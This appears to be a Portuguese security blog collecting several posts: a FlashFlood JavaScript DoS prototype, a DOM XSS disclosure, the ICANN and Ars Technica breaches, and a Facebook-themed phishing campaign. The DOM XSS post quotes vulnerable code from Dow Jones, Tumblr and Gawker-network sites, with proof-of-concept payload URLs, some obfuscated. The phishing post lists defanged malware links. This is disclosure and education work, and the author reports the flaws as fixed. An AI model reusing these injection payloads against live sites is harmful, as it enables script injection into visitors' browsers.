Nova ferramenta DoS em JavaScript

flashflood

O VP da White Labs [da WhiteHat Security], Robert ‘RSnake’ Hansen, publicou um protótipo de uma ferramenta que poderá lançar ataques DoS e deixar os websites offlineFlashFlood.

Segundo fonte oficial, esta ferramenta funciona ao enviar enviar diversos pedidos HTTP com valores de parâmetros diferentes em todos os pedidos, com o objetivo de ultrapassar os servidores de caching, como por exemplo, o Varnish.
Claro que esta ferramenta não é propriamente anónima. Facilmente é possível identificar o endereço de IP de quem está a efetuar o flooding. Desta forma, Hansen informa que é necessário enganar outros utilizadores a clicarem no FlashFlood sem terem noção dessa operação. Uma possível combinação do FlashFlood em ataques XSS? Quem sabe…

Por si só, este script não é suficiente para colocar offline a maioria dos sites mas foi planeado para intensificar um ataque que já esteja a decorrer.
Segundo o autor, sites com grandes base de dados e sites Drupal são alvos perfeitos desta ferramenta, principalmente se dependerem de caching para se protegerem.

DOM XSS – Parte 2

mashable_xss

Após a introdução ao DOM XSS – Parte 1[1], vou demonstrar três exemplos práticos que descobri nos últimos tempos.
É importante salientar que todos estes exemplos foram corrigidos por parte das entidades visadas neste artigo.

Dowjones.com [fonte: document.referrer]

A Dow Jones é uma das mais importantes editoras financeiras internacionais, situada nos Estados Unidos.
Em janeiro do ano passado, eu encontrei algumas falhas de segurança no script Eloqua, agora propriedade da Oracle. Após inúmeras tentativas de contato, decidi verificar quais os sites que corriam este script.

O primeiro que encontrei foi o DowJones.com.

Vejamos o código:

if (document.referrer)
	{
	elqRef2 = document.referrer;
	}
if (navigator.appName == 'Netscape' || navigator.userAgent.indexOf("Opera")!=-1)
	{
	document.write('<la' + 'yer hidden=true><im' + 'g src="' + elqCurE + '?pps=3&siteid=' + elqSiteID + '&ref2=' + elqRef2 + '&tzo=' + elqTzo + '&ms=' + elqMs + '" border=0 width=1 height=1 ><\/la' + 'yer>');
	}
else
	{
	document.write('<im' + 'g style="display:none" src="' + elqCurE + '?pps=3&siteid=' + elqSiteID + '&ref2=' + elqRef2 + '&tzo=' + elqTzo + '&ms=' + elqMs + '" border=0 width=1 height=1 >');
	}

Como podemos verificar, a variável elqRef2 fica com o valor do document.referrer sem qualquer filtro. Ou seja, podemos injetar código HTML nesta propriedade que ele vai escrever no browser (via document.write) sem qualquer bloqueio.

Dado que a maioria dos browsers atuais filtram determinados caracteres no referrer, apenas é explorável no Internet Explorer[2].
Com esta situação, podemos considerar dois vetores a explorar.

1. Criar o link manipulado numa página isco:

http://site-qualquer-que-nao-existe.pt/?"><img src=x onerror=prompt(1);><!--

O site-qualquer-que-nao-existe.pt vai ter o link para o dowjones.com. Quando alguém clicar no link, irá ser encaminhado para o dowjones.com e o vetor DOM XSS irá ser executado no browser da vítima.

2. A vítima já tem o vetor no link

http://www.dowjones.com/?"><h1>XSS</h1><!--

Ou ofuscado

http://www.dowjones.com/%3F%22%3E%3Ch1%3EXSS%3C%2Fh1%3E%3C!--

Quando a vítima, clica noutra página interna do site, o código arbitrário do vetor DOM XSS é executado.

downjones

Tumblr [fonte: location.hash]

Tumblr é uma plataforma de blogging da Yahoo! que tem milhões e milhões de utilizadores.
Tudo começou quando no Google Inspector, reparei que havia um pedido num IFRAME com a variável name:


http://assets.tumblr.com/assets/html/iframe/o.html?_v=0e885d75acad691664be152f8a0af5b0#src=http%3A%2F%2Fstatus.soundcloud.com%2Fpost%2F55089207412%2Fmaintenance-tomorrow-morning&pid=55089207412&rk=Obe5imR3&lang=en_US&name=soundcloudstatus&avatar=http%3A%2F%2F24.media.tumblr.com%2Favatar_d06f17cd8eb4_64.png&title=SoundCloud+Status&url=http%3A%2F%2Fstatus.soundcloud.com%2F&page_slide=slide

Este IFRAME era carregado no ficheiro http://assets.tumblr.com/assets/scripts/tumblelog_iframe.js.
Achei curioso procurar no código onde era validado o parametro name, até que me deparei com o seguinte código:

if (v) {
v.innerHTML = decodeURIComponent(e.get.name)
}
document.getElementById("name").innerHTML = r;
document.getElementById("title").innerHTML = decodeURIComponent(x).replace(/\+/g, " ");

Os campos name e title encontram-se inseguros e podemos injetar código em qualquer um deles.


http://assets.tumblr.com/assets/html/iframe/o.html?_v=0e885d75acad691664be152f8a0af5b0#src=http%3A%2F%2Fstatus.soundcloud.com%2Fpost%2F55089207412%2Fmaintenance-tomorrow-morning&pid=55089207412&rk=Obe5imR3&lang=en_US&name=soundcloudstatus%3Cimg%20src=x%20onerror=prompt%281%29;%3E&avatar=http%3A%2F%2F24.media.tumblr.com%2Favatar_d06f17cd8eb4_64.png&title=SoundCloud+Status&url=http%3A%2F%2Fstatus.soundcloud.com%2F&page_slide=slide

tumblr_xss

Embora o Tumblr tenha corrigido esta falha, demorou cerca de 2 meses para fazê-lo e não recebi qualquer tipo de feedback por parte da equipa técnica.

Lifehacker e Gizmodo [fonte: location.hash]

Da mesma forma que analisei no Tumblr, o Google Inspector pode ser o nosso melhor amigo.
Um pedido HTTP no Gizmodo ao ficheiro ad_iframe.html chamou-me particularmente a atenção. No seu código-fonte verifiquei o seguinte:

var location_parts = window.location.hash.substring(1).split('|');
var rand = location_parts[0];
var scriptsrc = decodeURIComponent(location_parts[1]);
document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");

Como podemos verificar, a variável scriptsrc é preenchida com o valor do location.hash que por sua vez não é filtrada corretamente. Como existe um split com o carater pipe, necessitamos de associar o mesmo ao vetor DOM XSS.

http://gizmodo.com/assets/ad_iframe.html#|'></script><script>alert("xss by @dsopas");</script><div x='

Ou se preferirem, ofuscado:


http://gizmodo.com/assets/ad_iframe.html#|'>%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%20%62%79%20%40%64%73%6F%70%61%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E%3C%64%69%76%20%78%3D%27

gizmodo_xss

Mais tarde vi a descobrir que toda a rede de sites Gawker era afetada.

http://gawker.com/assets/ad_iframe.html

http://gizmodo.com/assets/ad_iframe.html

http://lifehacker.com/assets/ad_iframe.html

http://deadspin.com/assets/ad_iframe.html

http://io9.com/assets/ad_iframe.html

http://jalopnik.com/assets/ad_iframe.html

http://jezebel.com/assets/ad_iframe.html

http://kotaku.com/assets/ad_iframe.html

Em menos de 2 horas a equipa técnica resolveu esta situação.

Espero que com estes três exemplos em sites bem populares, tenha demonstrado a importância de verificar o código Javascript nas aplicações web.

Para terminar gostaria de referir que a empresa de segurança Acunetix, no seu artigo The Chronicles of DOM-based XSS[3], mencionou algumas destas e outras falhas.

Na parte 3 irei utilizar uma ferramenta que auxilia a pesquisa por DOM XSS duma forma mais rápida e precisa.

Até lá!

Referências:
[1] http://www.websegura.net/dom-xss-parte-1/
[2] http://blog.mindedsecurity.com/2011/03/abusing-referrer-on-explorer-for.html
[3] http://www.acunetix.com/blog/articles/chronicles-dom-based-xss/

ICANN comprometida por “spear phishing”

ICANN Spear-Phishing

A organização Internet Corporation for Assigned Names and Numbers (ICANN) foi comprometida por uma ameaça desconhecida que permitiu acesso administrativo a sistemas internos.

Para o ataque foi usado um método de “spear phishing” que apesar de ser idêntico ao “phishing” tem a particularidade de ter métodos criados especificamente para alvos pré definidos.

O principal alvo foram os funcionários da ICANN que receberam diversos emails falsificados e mascarados de emails fidignos da própria empresa que continham um endereço para uma página onde os funcionários teriam que introduzir as suas credencias como utilizador, password e chaves das suas contas de email.

A violação de dados começou no inicio de Novembro e foi descoberta uma semana depois, relembro que a ICANN é a organização que gere o sistema global de domínios de nível superior (top-level domain)

Com esses acessos os atacantes tiveram acesso a diversos sistemas da ICANN, como Centralized Zone Data System (CZDS), ao Blog e pagina da Wiki oficial da ICANN, Governmental Advisory Committee (GAC) e à pagina de registo do Whois, bem como dados pessoais dos utilizadores.

No início deste ano já teriam sido implementadas algumas medidas de segurança, que apesar de insuficientes preveniram danos maiores.

No site oficial foi publicado uma noticia a reportar o incidente (link)

Ars Technica comprometida

arstechnica

Quem é subscritor deste portal noticioso – Ars Technica – deverá mudar a sua password assim que possível.

Aparentemente um intruso conseguiu aceder a um dos servidores web da Ars e durante uma hora tentou aceder a outras máquinas. Segundo nota oficial, o intruso conseguiu acesso à informação confidencial graças a um ficheiro backup disponível num dos servidores. No dia seguinte, o utilizador malicioso fez o deface da página da Ars Technica.

Durou apenas 15 minutos até a equipa técnica da Ars conseguir tomar as medidas necessárias para prevenir que tal situação ocorra novamente. Mudaram passwords internas, certificados e melhoraram o infra-estrutura de segurança.

Os registos de acesso mostram que o intruso poderá ter copiado a base de dados dos utilizadores. Essa base de dados contêm emails e passwords. Não contém qualquer informação de pagamentos. Convém referir também que essas passwords estão cifradas. No entanto, é sempre recomendado a mudança dos dados de autenticação.

Já recebeu hoje esta mensagem do Facebook?

facebook_voz

Alegadas mensagens de voz vindas do Facebook estão a encher as caixas de email de muitos utilizadores portugueses.
O assunto destes emails é sempre o mesmo – MENSAGEM DE NATAL e têm todos o aspeto de uma mensagem do Facebook.

O texto que acompanha o corpo do email é o seguinte:

Você recebeu um comentário de Voz em sua foto
Gravação: Para ouvir o AUDIO comentário basta clicar em Ouvir Voz comentário.
O conteúdo gravado é de responsabilidade do usuário.

O link que acompanha este email é malicioso e está alojado em hxxp://facebook-audio.cloudapp.net/audio.php. Este script PHP reencaminha para um download:
hxxp://w479565.blob4.ge.tt/streams/7WvtE272/audiovoz.zip?sig=-UpYSXaFhlWa881FTPsCW0xL3jKcoBHH480&type=download

Deve eliminar esta mensagem e, caso tenha clicado no link, correr o seu antivirus imediatamente.